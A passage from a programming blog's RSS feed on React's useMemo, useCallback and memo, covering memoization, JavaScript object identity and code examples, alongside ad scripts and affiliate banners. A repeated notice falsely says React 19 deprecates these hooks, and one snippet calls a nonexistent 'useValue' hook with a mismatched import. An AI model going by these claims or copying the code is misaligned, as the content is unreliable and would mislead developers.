console.log(monsterStats)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }, [monsterStats])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Otros componentes&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;RenderizaMonstruo stats&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{monsterStats}&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; MyComponent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;To solve this problem we can useMemo. Our memoizer function will keep the same object, as long as the values inside the square brackets do not change. Now, when React asks: &amp;ldquo;Is the variable &lt;em&gt;monsterStats&lt;/em&gt; the same as last time?&amp;rdquo; the answer will be &amp;ldquo;yes&amp;rdquo;, it is the same variable, because as long as the variables in square brackets do not change, useMemo will return the same object in memory.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ChildComponent from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;./ChildComponent&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; {useCallback} from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ prop }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; [hp, setHp] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useValue(&lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; [mp, setMp] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useValue(&lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// other states&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; monsterStats &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useMemo(()=&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; { hp, mp }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }, [hp, mp])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  useEffect(()=&amp;gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    console.log(monsterStats)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }, [monsterStats])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Other components&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;RenderizaMonstruo stats&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{monsterStats}&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt; MyComponent&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you want to go deeper into the subject I found an excellent &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=uojLJFt9SzY&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;youtube video&lt;/a&gt;&#xA; where they explain it quite well.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;We can use react memo and useCallback to prevent a component from being rendered, uselessly, multiple times by memoization. If you don&amp;rsquo;t know what memoization is or don&amp;rsquo;t understand what the react components, useCallback and memo are for, I have a post where I explain &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/&#34;&gt;React&amp;rsquo;s useCallback, useMemo and memo, and what they are for&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message error&#34;&gt;&#xA;    &#xA;    &#xA;    As of React 19 all these hooks are deprecated, so only use this post as a reference for legacy React versions, please do not implement these hooks in your application&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>React useCallback, useMemo and memo, differences</title>
      <link>https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/</link>
      <pubDate>Mon, 02 Aug 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/</guid>
      
      <category>react</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;The useCallback, useMemo and memo functions are used to optimize React applications using memoization, avoiding useless renderings, each with their differences, similarities and use cases. These three functions should not be used indiscriminately, but only in those situations where their impact is less than the benefits they offer.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message error&#34;&gt;&#xA;    &#xA;    &#xA;    As of React 19 all these hooks are deprecated, so only use this post as a reference for legacy React versions, please do not implement these hooks in your application&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visit my post where I share &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/react/5-cool-react-libraries-you-should-know-about/&#34;&gt;5 React libraries&lt;/a&gt;&#xA; that you can&amp;rsquo;t miss in your arsenal.&lt;/p&gt;&#xA;&lt;h2 id=&#34;memoization-and-object-handling-in-javascript&#34;&gt;Memoization and object handling in Javascript&lt;/h2&gt;&#xA;&lt;p&gt;Before we start moving on to functions there are two concepts you need to understand first: memoization and Javascript&amp;rsquo;s handling of objects. Move on to the useCallback part if you have already mastered them.&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-is-memoization&#34;&gt;What is memoization?&lt;/h3&gt;&#xA;&lt;p&gt;Memoize means to memorize a value to avoid processing it again, generally used to save you the cost of producing a value over and over again.&lt;/p&gt;&#xA;&lt;p&gt;Imagine that you want to multiply the numbers 17 and 19. You would take paper and pen or a calculator, perform the relevant operations and obtain the result: 323. If you are asked again the value of that multiplication, you will not take a new paper and pen to calculate again, but you will recite the number 323, without calculating it, from memory.&lt;/p&gt;&#xA;&lt;p&gt;As long as they keep asking you for the multiplication of 17 and 19 you will be able to return an answer without recalculating it. You have just memorized the result of multiplying 17 and 19 and you can return it without having to recalculate it.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Now I will explain how Javascript handles objects.&lt;/p&gt;&#xA;&lt;h3 id=&#34;how-does-javascript-handle-objects&#34;&gt;How does Javascript handle objects?&lt;/h3&gt;&#xA;&lt;p&gt;In Javascript, when we compare two native values we will get the same result. However, objects, including functions, are not considered equal, even if they are identical.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;hello world&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;hello world&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; d &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hello world&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; c &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;hello world&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;d &lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt; c&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;false&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;//las funciones son idénticas, sin embargo, al ser objetos diferentes, no son iguales para JS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Another example:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; A &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {uno&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, dos&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; B &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {uno&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, dos&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;A&lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt;B&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// false&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Even if two objects are the same and have the same properties and values, since they are located at different memory addresses, they are considered two different objects by JavaScript.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;object-creation-in-react&#34;&gt;Object creation in React&lt;/h2&gt;&#xA;&lt;p&gt;The above applies exactly the same in React. &lt;strong&gt;Every time React creates a function it is creating a new object&lt;/strong&gt;, different from the previous one, even if they fulfill the same function, line by line.&lt;/p&gt;&#xA;&lt;p&gt;Look at the following code, &lt;strong&gt;every time the MyComponent component is rendered, React will create a new function&lt;/strong&gt; called &lt;em&gt;callback&lt;/em&gt;, different from the last rendering.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; { useCallback } from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({prop}) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; callback &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Result&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ChildComponent callback&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{callback} &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now that you know how JavaScript and React handle objects, let&amp;rsquo;s get to the main topic.&lt;/p&gt;&#xA;&lt;h2 id=&#34;differences-between-usecallback-usememo-and-memo&#34;&gt;Differences between useCallback, useMemo and memo&lt;/h2&gt;&#xA;&lt;p&gt;To begin with we will say that &lt;em&gt;useCallback, useMemo and memo are memoization&lt;/em&gt; functions, these functions will save us to recalculate &lt;em&gt;something&lt;/em&gt; from scratch.&lt;/p&gt;&#xA;&lt;p&gt;The basic differences between useCallback, useMemo and memo are summarized in the following table.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;useCallback, memoizes functions, is a hook.&lt;/li&gt;&#xA;&lt;li&gt;useMemo, memoizes values, it is a hook.&lt;/li&gt;&#xA;&lt;li&gt;memo, memoizes components, it is a HOC.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/images/Diferencias-React-useCallback-useMemo-memo.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/images/Diferencias-React-useCallback-useMemo-memo.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Differences between useCallback, useMemo and memo&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Together, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/react/react-memo-usememo-and-usecallback-to-avoid-react-renderings/&#34;&gt;memo, useMemo and useCallback are used to avoid unnecessary renderings in React&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;usecallback-memoize-functions&#34;&gt;useCallback memoize functions&lt;/h2&gt;&#xA;&lt;p&gt;useCallback &lt;strong&gt;is a React hook&lt;/strong&gt; that takes care of memoizing the functions so that they are not re-rendered when the components are mounted. It is very useful when transferring functions to child components.&lt;/p&gt;&#xA;&lt;p&gt;The useCallback function accepts two arguments and &lt;strong&gt;returns a function&lt;/strong&gt;. The first argument is the function to memoize and the second, like useEffect, is an array of variables to watch, so that React does not generate a new function with each rendering, as long as those variables do not change. As with useEffect we can also leave the array empty.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; { useCallback } from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;react&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; MyComponent &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({prop}) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; callback &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; () =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Result&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  };&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; memoizedCallback &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; useCallback(callback, [prop])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;ChildComponent callback&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;{memoizedCallback} &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I repeat, as long as the prop that receives the component called Component, remains constant, a new function will not be created, no matter how much the component is re-rendered.&lt;/p&gt;&#xA;&lt;h2 id=&#34;usememo-memoizes-values&#34;&gt;useMemo memoizes values&lt;/h2&gt;&#xA;&lt;p&gt;This function 